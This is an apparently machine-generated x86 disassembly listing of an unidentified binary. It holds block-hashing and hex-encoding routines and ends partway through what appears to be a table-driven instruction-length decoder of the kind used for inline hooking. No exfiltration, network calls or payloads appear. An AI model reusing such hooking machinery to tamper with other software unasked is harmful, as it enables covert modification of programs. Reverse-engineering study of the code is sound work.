sub_9B629C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9B62B8 proc near ; CODE XREF: sub_9B6363+DBp var_10 = dword ptr -10h var_C = dword ptr -0Ch Src = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h arg_2C = dword ptr 34h push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_4] push esi push edi mov edi, [ebp+arg_0] push 0Fh pop esi mov eax, edi sub ecx, edi mov [ebp+arg_0], esi loc_9B62D0: ; CODE XREF: sub_9B62B8+2Aj mov edx, [ecx+eax] mov [eax], edx mov edx, [ecx+eax+4] mov [eax+4], edx add eax, 8 dec [ebp+arg_0] jnz short loc_9B62D0 mov ecx, [ebp+arg_8] xor eax, eax loc_9B62E9: ; CODE XREF: sub_9B62B8+44j mov edx, [ecx+eax*8] mov [edi+esi*8], edx mov edx, [ecx+eax*8+4] mov [edi+esi*8+4], edx inc esi inc eax cmp eax, 8 jl short loc_9B62E9 push [ebp+arg_10] push [ebp+arg_C] call sub_9B629C mov [ebp+Src], eax push 8 ; Size lea eax, [ebp+Src] push eax ; Src lea eax, [edi+esi*8] push eax ; Dst mov [ebp+var_4], edx call memcpy push [ebp+arg_28] inc esi push [ebp+arg_24] push [ebp+arg_20] push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_14] call sub_9B623E mov [ebp+var_10], eax push 8 ; Size lea eax, [ebp+var_10] push eax ; Src lea esi, [edi+esi*8] push esi ; Dst mov [ebp+var_C], edx call memcpy push 200h ; Size push [ebp+arg_2C] ; Src add esi, 8 push esi ; Dst call memcpy add esp, 44h pop edi pop esi leave retn sub_9B62B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9B6363 proc near ; CODE XREF: sub_9B66FE+BEp Val = byte ptr -9F08h Src = byte ptr -2C8h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h arg_2C = dword ptr 34h push ebp mov ebp, esp mov eax, 9F08h call __alloca_probe xor ecx, ecx cmp [ebp+arg_0], ecx push esi push edi jnz short loc_9B637D push 0Fh jmp short loc_9B6384 ; --------------------------------------------------------------------------- loc_9B637D: ; CODE XREF: sub_9B6363+14j cmp [ebp+arg_2C], ecx jnz short loc_9B638A push 0Ah loc_9B6384: ; CODE XREF: sub_9B6363+18j pop eax jmp loc_9B649C ; --------------------------------------------------------------------------- loc_9B638A: ; CODE XREF: sub_9B6363+1Dj xor edx, edx mov eax, 0FFh cmp [ebp+arg_14], eax push ebx setnle dl xor ebx, ebx cmp [ebp+arg_14], ecx setl bl or edx, ebx jz short loc_9B63AB push 11h jmp loc_9B649A ; --------------------------------------------------------------------------- loc_9B63AB: ; CODE XREF: sub_9B6363+3Fj xor edx, edx cmp [ebp+arg_18], eax setnle dl xor ebx, ebx cmp [ebp+arg_18], ecx setl bl or edx, ebx jz short loc_9B63C6 push 10h jmp loc_9B649A ; --------------------------------------------------------------------------- loc_9B63C6: ; CODE XREF: sub_9B6363+5Aj mov ebx, [ebp+arg_C] cmp ebx, ecx jl loc_9B6498 cmp ebx, eax jg loc_9B6498 mov edi, [ebp+arg_20] cmp edi, ecx jl loc_9B6494 cmp edi, 1000h jg loc_9B6494 mov esi, [ebp+arg_28] cmp esi, ecx jle loc_9B6490 cmp esi, 200h jg loc_9B6490 cmp [ebp+arg_8], ecx jnz short loc_9B6413 push 0Dh jmp loc_9B649A ; --------------------------------------------------------------------------- loc_9B6413: ; CODE XREF: sub_9B6363+A7j cmp [ebp+arg_4], ecx jnz short loc_9B641C push 0Eh jmp short loc_9B649A ; --------------------------------------------------------------------------- loc_9B641C: ; CODE XREF: sub_9B6363+B3j push [ebp+arg_2C] lea eax, [ebp+Src] push esi push [ebp+arg_24] push edi push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+arg_8] push [ebp+arg_4] push eax call sub_9B62B8 mov eax, ds:dword_9BA2E4 add esp, 30h test eax, eax jz short loc_9B6472 push [ebp+arg_2C] push esi push [ebp+arg_24] push edi push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call eax ; dword_9BA2E4 add esp, 30h loc_9B6472: ; CODE XREF: sub_9B6363+EAj lea eax, [ebp+Val] push eax ; Val push [ebp+arg_14] ; int lea eax, [ebp+Src] push eax ; Src push [ebp+arg_0] ; int call sub_9B6193 add esp, 10h jmp short loc_9B649B ; --------------------------------------------------------------------------- loc_9B6490: ; CODE XREF: sub_9B6363+92j ; sub_9B6363+9Ej push 2 jmp short loc_9B649A ; --------------------------------------------------------------------------- loc_9B6494: ; CODE XREF: sub_9B6363+7Bj ; sub_9B6363+87j push 0Ch jmp short loc_9B649A ; --------------------------------------------------------------------------- loc_9B6498: ; CODE XREF: sub_9B6363+68j ; sub_9B6363+70j push 0Bh loc_9B649A: ; CODE XREF: sub_9B6363+43j ; sub_9B6363+5Ej ... pop eax loc_9B649B: ; CODE XREF: sub_9B6363+12Bj pop ebx loc_9B649C: ; CODE XREF: sub_9B6363+22j pop edi pop esi leave retn sub_9B6363 endp ; =============== S U B R O U T I N E ======================================= sub_9B64A0 proc near ; CODE XREF: sub_9B6513+1Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi mov esi, [esp+8+arg_0] push edi xor edx, edx or edx, esi xor ecx, ecx or eax, ecx mov ebx, edx mov esi, edx mov edi, eax shld ebx, edi, 10h mov ecx, eax shrd ecx, esi, 10h shld edx, eax, 10h shl edi, 10h xor ecx, edi shr esi, 10h xor esi, ebx shl eax, 10h mov edi, 0FFFFh and esi, edi and ecx, edi xor esi, edx xor ecx, eax mov ebx, esi mov edx, esi mov edi, ecx shld ebx, edi, 8 mov eax, ecx shrd eax, edx, 8 shl edi, 8 shr edx, 8 xor eax, edi shld esi, ecx, 8 xor edx, ebx mov edi, 0FF00FFh and eax, edi and edx, edi pop edi xor edx, esi shl ecx, 8 pop esi xor eax, ecx pop ebx retn sub_9B64A0 endp ; =============== S U B R O U T I N E ======================================= sub_9B6513 proc near ; CODE XREF: sub_9B66FE+6Ap ; sub_9B6BB5+62p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp ds:dword_9B9DF8, 1 jnz short locret_9B6547 push edi xor edi, edi cmp [esp+4+arg_4], edi jle short loc_9B6546 push esi loc_9B6526: ; CODE XREF: sub_9B6513+30j mov eax, [esp+8+arg_0] lea esi, [eax+edi*8] push dword ptr [esi+4] push dword ptr [esi] call sub_9B64A0 inc edi cmp edi, [esp+10h+arg_4] pop ecx pop ecx mov [esi], eax mov [esi+4], edx jl short loc_9B6526 pop esi loc_9B6546: ; CODE XREF: sub_9B6513+10j pop edi locret_9B6547: ; CODE XREF: sub_9B6513+7j retn sub_9B6513 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9B6548 proc near ; CODE XREF: sub_9B6942+BCp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h push edi mov edi, [ebp+arg_C] xor edx, edx cmp edi, edx jz loc_9B6662 mov eax, [ebp+arg_4] mov ecx, eax and ecx, 7 push ebx push esi mov [ebp+var_4], edx jz short loc_9B6586 mov ebx, [ebp+arg_0] mov edx, ecx mov esi, eax shr esi, 3 mov bl, [esi+ebx] mov cl, 8 sub cl, dl shr bl, cl movzx cx, bl mov word ptr [ebp+var_4], cx loc_9B6586: ; CODE XREF: sub_9B6548+21j add edi, 7 shr eax, 3 shr edi, 3 xor esi, esi test edi, edi mov [ebp+var_C], eax jle loc_9B6660 lea eax, [edi-1] loc_9B659F: ; CODE XREF: sub_9B6548+112j cmp esi, eax jz short loc_9B65B7 mov eax, [ebp+arg_8] movzx ax, byte ptr [esi+eax] xor ecx, ecx mov ch, byte ptr [ebp+var_4] xor eax, ecx add edx, 8 jmp short loc_9B65E7 ; --------------------------------------------------------------------------- loc_9B65B7: ; CODE XREF: sub_9B6548+59j mov eax, [ebp+arg_C] and eax, 7 mov [ebp+var_8], 8 jz short loc_9B65C9 mov [ebp+var_8], eax loc_9B65C9: ; CODE XREF: sub_9B6548+7Cj mov eax, [ebp+arg_8] movzx eax, byte ptr [esi+eax] mov ebx, [ebp+var_4] mov cl, 8 sub cl, byte ptr [ebp+var_8] shr al, cl mov ecx, [ebp+var_8] shl ebx, cl movzx ax, al or eax, ebx add edx, ecx loc_9B65E7: ; CODE XREF: sub_9B6548+6Dj mov [ebp+var_4], eax xor ecx, ecx lea eax, [edi-1] cmp esi, eax setnz cl mov [ebp+var_10], ecx loc_9B65F7: ; CODE XREF: sub_9B6548+10Dj mov ecx, [ebp+var_10] xor eax, eax cmp edx, 8 setnl al test ecx, eax jnz short loc_9B661B xor ecx, ecx lea eax, [edi-1] cmp esi, eax setz cl xor ebx, ebx test edx, edx setnle bl test ebx, ecx jz short loc_9B6657 loc_9B661B: ; CODE XREF: sub_9B6548+BCj push 8 pop eax cmp edx, eax mov [ebp+var_8], eax jg short loc_9B6628 mov [ebp+var_8], edx loc_9B6628: ; CODE XREF: sub_9B6548+DBj mov ebx, [ebp+var_4] mov cl, dl sub cl, byte ptr [ebp+var_8] shr bx, cl mov ecx, eax sub ecx, [ebp+var_8] mov eax, 0FF00h shl bl, cl mov ecx, [ebp+var_8] sar eax, cl mov ecx, [ebp+var_C] and bl, al mov eax, [ebp+arg_0] inc [ebp+var_C] sub edx, [ebp+var_8] mov [ecx+eax], bl jmp short loc_9B65F7 ; --------------------------------------------------------------------------- loc_9B6657: ; CODE XREF: sub_9B6548+D1j inc esi cmp esi, edi jl loc_9B659F loc_9B6660: ; CODE XREF: sub_9B6548+4Ej pop esi pop ebx loc_9B6662: ; CODE XREF: sub_9B6548+Ej pop edi leave retn sub_9B6548 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9B6665(void *Dst, int) sub_9B6665 proc near ; CODE XREF: sub_9B5980+19p Dst = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] push esi push edi push 4 cdq pop ecx idiv ecx mov esi, [ebp+Dst] mov edi, eax add edi, 28h test esi, esi jnz short loc_9B6684 push 3 pop eax jmp short loc_9B66FA ; --------------------------------------------------------------------------- loc_9B6684: ; CODE XREF: sub_9B6665+18j push ebx xor ebx, ebx inc ebx cmp [ebp+arg_4], ebx jl short loc_9B66F6 cmp [ebp+arg_4], 200h jg short loc_9B66F6 push 3C98h ; Size push 0 ; Val push esi ; Dst mov ds:dword_9B9DF8, ebx call memset mov eax, [ebp+arg_4] xor ecx, ecx add esp, 0Ch mov [esi], eax xor eax, eax cmp edi, 0FFh setnle cl xor edx, edx cmp edi, eax setl dl mov [esi+128h], eax mov dword ptr [esi+12Ch], 40h or ecx, edx jz short loc_9B66DD push 11h jmp short loc_9B66F8 ; --------------------------------------------------------------------------- loc_9B66DD: ; CODE XREF: sub_9B6665+72j mov [esi+130h], edi mov [esi+0CCh], ebx mov [esi+134h], ebx mov ds:dword_9BA2E4, eax jmp short loc_9B66F9 ; --------------------------------------------------------------------------- loc_9B66F6: ; CODE XREF: sub_9B6665+26j ; sub_9B6665+2Fj push 2 loc_9B66F8: ; CODE XREF: sub_9B6665+76j pop eax loc_9B66F9: ; CODE XREF: sub_9B6665+8Fj pop ebx loc_9B66FA: ; CODE XREF: sub_9B6665+1Dj pop edi pop esi pop ebp retn sub_9B6665 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9B66FE proc near ; CODE XREF: sub_9B67ED+A2p Dst = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_4] test esi, esi jnz short loc_9B670E push 3 jmp short loc_9B6719 ; --------------------------------------------------------------------------- loc_9B670E: ; CODE XREF: sub_9B66FE+Aj cmp dword ptr [esi+0CCh], 0 jnz short loc_9B671F push 5 loc_9B6719: ; CODE XREF: sub_9B66FE+Ej pop eax jmp loc_9B67EA ; --------------------------------------------------------------------------- loc_9B671F: ; CODE XREF: sub_9B66FE+17j push ebx mov ebx, [ebp+arg_8] test ebx, ebx jge short loc_9B672F push 6 loc_9B6729: ; CODE XREF: sub_9B66FE+38j pop eax jmp loc_9B67E9 ; --------------------------------------------------------------------------- loc_9B672F: ; CODE XREF: sub_9B66FE+27j cmp ebx, 1Ch jl short loc_9B6738 push 7 jmp short loc_9B6729 ; --------------------------------------------------------------------------- loc_9B6738: ; CODE XREF: sub_9B66FE+34j lea eax, [esi+0D8h] add dword ptr [eax], 1 adc dword ptr [eax+4], 0 cmp ebx, 1 jnz short loc_9B676F mov eax, [esi+12Ch] inc eax cmp eax, ebx jle short loc_9B675F push 40h lea eax, [esi+338h] jmp short loc_9B6767 ; --------------------------------------------------------------------------- loc_9B675F: ; CODE XREF: sub_9B66FE+55j push 30h lea eax, [esi+3B8h] loc_9B6767: ; CODE XREF: sub_9B66FE+5Fj push eax call sub_9B6513 pop ecx pop ecx loc_9B676F: ; CODE XREF: sub_9B66FE+4Aj push edi lea ecx, [esi+ebx*4+3B38h] mov [ebp+arg_4], ecx mov eax, 1000h sub eax, [ecx] mov ecx, ebx shl ecx, 9 lea ecx, [ecx+esi+138h] push ecx push dword ptr [esi] lea edi, [esi+ebx*8+3BB0h] push dword ptr [esi+128h] add esi, 0E8h push eax push [ebp+arg_C] mov [ebp+Dst], ecx push dword ptr [esi+44h] push dword ptr [esi+48h] push dword ptr [edi] push ebx push esi push offset dword_9A70E0 push [ebp+arg_0] call sub_9B6363 xor ecx, ecx add esp, 30h cmp eax, ecx jnz short loc_9B67E8 add dword ptr [edi], 1 mov eax, [ebp+arg_4] push 200h ; Size adc [edi+4], ecx push ecx ; Val push [ebp+Dst] ; Dst mov [eax], ecx call memset add esp, 0Ch xor eax, eax loc_9B67E8: ; CODE XREF: sub_9B66FE+CAj pop edi loc_9B67E9: ; CODE XREF: sub_9B66FE+2Cj pop ebx loc_9B67EA: ; CODE XREF: sub_9B66FE+1Cj pop esi leave retn sub_9B66FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9B67ED proc near ; CODE XREF: sub_9B67ED+148p ; sub_9B6942+FDp ... Src = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 80h push ebx push esi mov esi, [ebp+arg_0] xor ebx, ebx cmp esi, ebx jnz short loc_9B6805 push 3 jmp short loc_9B680F ; --------------------------------------------------------------------------- loc_9B6805: ; CODE XREF: sub_9B67ED+12j cmp [esi+0CCh], ebx jnz short loc_9B6815 push 5 loc_9B680F: ; CODE XREF: sub_9B67ED+16j pop eax jmp loc_9B693E ; --------------------------------------------------------------------------- loc_9B6815: ; CODE XREF: sub_9B67ED+1Ej cmp [ebp+arg_8], ebx push edi mov edi, [ebp+arg_4] jnz short loc_9B6832 cmp dword ptr [esi+edi*4+3B38h], 1000h jnb short loc_9B6878 loc_9B682B: ; CODE XREF: sub_9B67ED+6Cj ; sub_9B67ED+77j ... xor eax, eax jmp loc_9B693D ; --------------------------------------------------------------------------- loc_9B6832: ; CODE XREF: sub_9B67ED+2Fj cmp edi, [esi+134h] jnz short loc_9B6878 mov eax, [esi+12Ch] inc eax cmp edi, eax jnz short loc_9B6866 cmp dword ptr [esi+edi*4+3B38h], 400h jnz short loc_9B6878 cmp [esi+edi*8+3BB4h], ebx ja short loc_9B682B cmp [esi+edi*8+3BB0h], ebx jbe short loc_9B6878 jmp short loc_9B682B ; --------------------------------------------------------------------------- loc_9B6866: ; CODE XREF: sub_9B67ED+56j cmp edi, 1 jle short loc_9B6878 cmp dword ptr [esi+edi*4+3B38h], 400h jz short loc_9B682B loc_9B6878: ; CODE XREF: sub_9B67ED+3Cj ; sub_9B67ED+4Bj ... cmp [ebp+arg_8], ebx jz short loc_9B6888 cmp edi, [esi+134h] jnz short loc_9B6888 xor ebx, ebx inc ebx loc_9B6888: ; CODE XREF: sub_9B67ED+8Ej ; sub_9B67ED+96j push ebx push edi lea eax, [ebp+Src] push esi push eax call sub_9B66FE add esp, 10h test eax, eax jnz loc_9B693D cmp ebx, 1 jnz short loc_9B68BE push 80h ; Size lea eax, [ebp+Src] push eax ; Src add esi, 8 push esi ; Dst call memcpy add esp, 0Ch jmp loc_9B682B ; --------------------------------------------------------------------------- loc_9B68BE: ; CODE XREF: sub_9B67ED+B5j mov eax, [esi+12Ch] inc eax inc edi cmp edi, eax jl short loc_9B68F2 mov edi, eax cmp edi, eax jnz short loc_9B68F2 mov eax, [esi+edi*8+3BB0h] or eax, [esi+edi*8+3BB4h] jnz short loc_9B68F2 lea eax, [esi+edi*4+3B38h] cmp dword ptr [eax], 0 jnz short loc_9B68F2 mov dword ptr [eax], 400h loc_9B68F2: ; CODE XREF: sub_9B67ED+DBj ; sub_9B67ED+E1j ... push 80h ; Size lea eax, [ebp+Src] push eax ; Src lea ebx, [esi+edi*4+3B38h] mov eax, [ebx] shr eax, 3 mov ecx, edi shl ecx, 9 add eax, esi lea eax, [ecx+eax+138h] push eax ; Dst call memcpy add dword ptr [ebx], 400h lea eax, [esi+134h] add esp, 0Ch cmp edi, [eax] jle short loc_9B6930 mov [eax], edi loc_9B6930: ; CODE XREF: sub_9B67ED+13Fj push [ebp+arg_8] push edi push esi call sub_9B67ED add esp, 0Ch loc_9B693D: ; CODE XREF: sub_9B67ED+40j ; sub_9B67ED+ACj pop edi loc_9B693E: ; CODE XREF: sub_9B67ED+23j pop esi pop ebx leave retn sub_9B67ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9B6942 proc near ; CODE XREF: sub_9B5980+32p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] xor eax, eax cmp esi, eax jnz short loc_9B6953 push 3 jmp short loc_9B6966 ; --------------------------------------------------------------------------- loc_9B6953: ; CODE XREF: sub_9B6942+Bj cmp [esi+0CCh], eax jnz short loc_9B695F push 5 jmp short loc_9B6966 ; --------------------------------------------------------------------------- loc_9B695F: ; CODE XREF: sub_9B6942+17j cmp [ebp+arg_4], eax jnz short loc_9B696C push 8 loc_9B6966: ; CODE XREF: sub_9B6942+Fj ; sub_9B6942+1Bj pop eax jmp loc_9B6A67 ; --------------------------------------------------------------------------- loc_9B696C: ; CODE XREF: sub_9B6942+20j cmp [ebp+arg_C], eax push ebx mov [ebp+arg_0], eax jb loc_9B6A64 ja short loc_9B6984 cmp [ebp+arg_8], eax jbe loc_9B6A64 loc_9B6984: ; CODE XREF: sub_9B6942+37j ; sub_9B6942+10Ej ... mov edx, [ebp+arg_8] mov eax, [ebp+arg_C] mov ecx, 1000h sub ecx, [esi+3B3Ch] xor ebx, ebx sub edx, [ebp+arg_0] sbb eax, ebx cmp eax, ebx ja short loc_9B69AA jb short loc_9B69A6 cmp edx, ecx jnb short loc_9B69AA loc_9B69A6: ; CODE XREF: sub_9B6942+5Ej mov ebx, edx jmp short loc_9B69AC ; --------------------------------------------------------------------------- loc_9B69AA: ; CODE XREF: sub_9B6942+5Cj ; sub_9B6942+62j mov ebx, ecx loc_9B69AC: ; CODE XREF: sub_9B6942+66j test bl, 7 jnz short loc_9B69E6 mov eax, [esi+3B3Ch] test al, 7 jnz short loc_9B69E6 test byte ptr [ebp+arg_0], 7 jnz short loc_9B69E6 mov ecx, ebx shr ecx, 3 push ecx ; Size mov ecx, [ebp+arg_0] shr ecx, 3 add ecx, [ebp+arg_4] shr eax, 3 push ecx ; Src lea eax, [eax+esi+338h] push eax ; Dst call memcpy add esp, 0Ch jmp short loc_9B6A06 ; --------------------------------------------------------------------------- loc_9B69E6: ; CODE XREF: sub_9B6942+6Dj ; sub_9B6942+77j ... mov eax, [ebp+arg_0] shr eax, 3 add eax, [ebp+arg_4] push ebx push eax push dword ptr [esi+3B3Ch] lea eax, [esi+338h] push eax call sub_9B6548 add esp, 10h loc_9B6A06: ; CODE XREF: sub_9B6942+A2j add [esi+3B3Ch], ebx add [ebp+arg_0], ebx add [esi+0D0h], ebx mov eax, [esi+3B3Ch] adc dword ptr [esi+0D4h], 0 cmp eax, 1000h jnz short loc_9B6A4B xor eax, eax cmp eax, [ebp+arg_C] ja short loc_9B6A4B jb short loc_9B6A3A mov eax, [ebp+arg_0] cmp eax, [ebp+arg_8] jnb short loc_9B6A4B loc_9B6A3A: ; CODE XREF: sub_9B6942+EEj push 0 push 1 push esi call sub_9B67ED add esp, 0Ch test eax, eax jnz short loc_9B6A66 loc_9B6A4B: ; CODE XREF: sub_9B6942+E5j ; sub_9B6942+ECj ... xor eax, eax cmp eax, [ebp+arg_C] jb loc_9B6984 ja short loc_9B6A64 mov eax, [ebp+arg_8] cmp [ebp+arg_0], eax jb loc_9B6984 loc_9B6A64: ; CODE XREF: sub_9B6942+31j ; sub_9B6942+3Cj ... xor eax, eax loc_9B6A66: ; CODE XREF: sub_9B6942+107j pop ebx loc_9B6A67: ; CODE XREF: sub_9B6942+25j pop esi pop ebp retn sub_9B6942 endp ; =============== S U B R O U T I N E ======================================= sub_9B6A6A proc near ; CODE XREF: sub_9B6BB5+90p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_9B6A78 push 3 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_9B6A78: ; CODE XREF: sub_9B6A6A+7j mov eax, [esi] add eax, 7 push 8 cdq pop ecx idiv ecx test eax, eax jle short loc_9B6AD6 push ebx push ebp mov [esp+0Ch+arg_0], 0FFFFFFF8h sub [esp+0Ch+arg_0], esi push edi lea ecx, [esi+8] lea edi, [esi+49h] loc_9B6A9C: ; CODE XREF: sub_9B6A6A+67j movzx eax, byte ptr [ecx] shr eax, 4 mov al, ds:byte_9A7158[eax] mov [edi-1], al xor eax, eax mov al, [ecx] push 8 pop ebp and eax, 0Fh mov al, ds:byte_9A7158[eax] mov [edi], al mov eax, [esp+10h+arg_0] inc ecx lea ebx, [eax+ecx] mov eax, [esi] add eax, 7 cdq idiv ebp inc edi inc edi cmp ebx, eax jl short loc_9B6A9C pop edi pop ebp pop ebx loc_9B6AD6: ; CODE XREF: sub_9B6A6A+1Bj mov eax, [esi] add eax, 3 push 4 cdq pop ecx idiv ecx mov byte ptr [eax+esi+48h], 0 xor eax, eax pop esi retn sub_9B6A6A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9B6AEA proc near ; CODE XREF: sub_9B6BB5+8Ap var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi mov esi, [ebp+arg_0] mov ecx, [esi] push edi lea eax, [ecx+7] cdq push 8 pop edi idiv edi push 8 mov ebx, 80h mov edi, eax mov eax, ecx cdq pop ecx idiv ecx test edi, edi mov [ebp+var_C], edi mov [ebp+var_8], edx jle short loc_9B6B2F mov ecx, ebx lea eax, [esi+8] sub ecx, edi mov [ebp+arg_0], edi loc_9B6B24: ; CODE XREF: sub_9B6AEA+43j mov dl, [ecx+eax] mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_9B6B24 loc_9B6B2F: ; CODE XREF: sub_9B6AEA+2Ej cmp edi, ebx jge short loc_9B6B50 lea edx, [edi+esi+8] mov ecx, ebx sub ecx, edi mov edi, edx mov edx, ecx shr ecx, 2 xor eax, eax rep stosd mov ecx, edx and ecx, 3 rep stosb mov edi, [ebp+var_C] loc_9B6B50: ; CODE XREF: sub_9B6AEA+47j cmp [ebp+var_8], 0 jle short loc_9B6BB0 test edi, edi jle short loc_9B6BB0 push 8 pop eax sub eax, [ebp+var_8] mov [ebp+var_4], 0FFFFFFF9h sub [ebp+var_4], esi mov [ebp+arg_0], 0FFFFFFF8h sub [ebp+arg_0], esi mov [ebp+var_10], eax lea eax, [esi+8] loc_9B6B7A: ; CODE XREF: sub_9B6AEA+C4j mov dl, [eax] mov ecx, [ebp+var_10] shl dl, cl mov ecx, [ebp+var_4] add ecx, eax cmp ecx, ebx mov [eax], dl jge short loc_9B6BA6 mov ecx, [ebp+arg_0] mov edi, [ebp+var_C] add ecx, eax mov bl, [ecx+esi+9] mov cl, byte ptr [ebp+var_8] shr bl, cl or bl, dl mov [eax], bl mov ebx, 80h loc_9B6BA6: ; CODE XREF: sub_9B6AEA+A0j mov ecx, [ebp+arg_0] inc eax add ecx, eax cmp ecx, edi jl short loc_9B6B7A loc_9B6BB0: ; CODE XREF: sub_9B6AEA+6Aj ; sub_9B6AEA+6Ej pop edi pop esi pop ebx leave retn sub_9B6AEA endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_9B6BB5(int, void *Dst) sub_9B6BB5 proc near ; CODE XREF: sub_9B5980+40p arg_0 = dword ptr 4 Dst = dword ptr 8 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_9B6BC2 push 3 jmp short loc_9B6BCD ; --------------------------------------------------------------------------- loc_9B6BC2: ; CODE XREF: sub_9B6BB5+7j cmp dword ptr [esi+0CCh], 0 jnz short loc_9B6BD0 push 5 loc_9B6BCD: ; CODE XREF: sub_9B6BB5+Bj pop eax pop esi retn ; --------------------------------------------------------------------------- loc_9B6BD0: ; CODE XREF: sub_9B6BB5+14j push ebx xor ebx, ebx inc ebx cmp [esi+0E0h], ebx jz short loc_9B6C53 mov ecx, [esi+134h] cmp ecx, ebx mov eax, ebx jz short loc_9B6C01 jl short loc_9B6C01 lea ecx, [esi+3B3Ch] loc_9B6BF0: ; CODE XREF: sub_9B6BB5+4Aj cmp dword ptr [ecx], 0 ja short loc_9B6C01 inc eax add ecx, 4 cmp eax, [esi+134h] jle short loc_9B6BF0 loc_9B6C01: ; CODE XREF: sub_9B6BB5+31j ; sub_9B6BB5+33j ... push ebx push eax push esi call sub_9B67ED add esp, 0Ch test eax, eax jnz short loc_9B6C55 push edi lea edi, [esi+8] push 10h push edi call sub_9B6513 cmp [esp+14h+Dst], 0 pop ecx pop ecx jz short loc_9B6C3E mov eax, [esi] add eax, 7 push 8 pop ecx cdq idiv ecx push eax ; Size push edi ; Src push [esp+14h+Dst] ; Dst call memcpy add esp, 0Ch loc_9B6C3E: ; CODE XREF: sub_9B6BB5+6Ej push esi call sub_9B6AEA push esi call sub_9B6A6A pop ecx pop ecx mov [esi+0E0h], ebx pop edi loc_9B6C53: ; CODE XREF: sub_9B6BB5+25j xor eax, eax loc_9B6C55: ; CODE XREF: sub_9B6BB5+59j pop ebx pop esi retn sub_9B6BB5 endp ; --------------------------------------------------------------------------- align 10h loc_9B6C60: ; CODE XREF: sub_9AA2CE+58p pusha cld xor edx, edx mov esi, [esp+24h] mov ebp, esp push 1097F71Ch push 0F71C6780h push 17389718h push 101CB718h push 17302C17h push 18173017h push 0F715F547h push 4C103748h push 272CE7F7h push 0F7AC6087h push 1C121C52h push 7C10871Ch push 201C701Ch push 4767602Bh push 20211011h push 40121625h push 82872022h push 47201220h push 13101419h push 18271013h push 28858260h push 15124045h push 5016A0C7h push 28191812h push 0F2401812h push 19154127h push 50F0F011h mov ecx, 15124710h push ecx push 11151247h push 10111512h push 47101115h mov eax, 12472015h push eax push eax push 12471A10h add cl, 10h push ecx sub cl, 20h push ecx xor ecx, ecx dec ecx loc_9B6D1D: ; CODE XREF: .text:009B6D40j inc ecx mov edi, esp loc_9B6D20: ; CODE XREF: .text:009B6D4Aj lodsb mov bh, al loc_9B6D23: ; CODE XREF: .text:009B6D2Bj mov ah, [edi] inc edi shr ah, 4 sub al, ah jnb short loc_9B6D23 mov al, [edi-1] and al, 0Fh cmp al, 0Ch jnz short loc_9B6D39 pop edx not edx loc_9B6D39: ; CODE XREF: .text:009B6D34j inc edx cmp al, 0 jz short loc_9B6D7F cmp al, 1 jz short loc_9B6D1D add edi, 51h cmp al, 0Ah jz short loc_9B6D20 mov edi, [ebp+24h] inc edx cmp al, 2 jz short loc_9B6D7F cmp al, 7 jz short loc_9B6D87 cmp al, 0Bh jz short loc_9B6DDA loc_9B6D5C: ; CODE XREF: .text:009B6DE5j inc edx cmp al, 3 jz short loc_9B6D7F cmp al, 8 jz short loc_9B6D87 inc edx cmp al, 4 jz short loc_9B6D7F inc edx inc edx pusha mov al, 66h repne scasb popa jnz short loc_9B6D76 loc_9B6D74: ; CODE XREF: .text:009B6DF0j ; .text:009B6E08j dec edx dec edx loc_9B6D76: ; CODE XREF: .text:009B6D72j cmp al, 9 jz short loc_9B6D87 sub al, 5 jz short loc_9B6DEA loc_9B6D7E: ; CODE XREF: .text:009B6DCAj ; .text:009B6DCEj ... inc edx loc_9B6D7F: ; CODE XREF: .text:009B6D3Cj ; .text:009B6D52j ... mov esp, ebp mov [esp+1Ch], edx popa retn ; 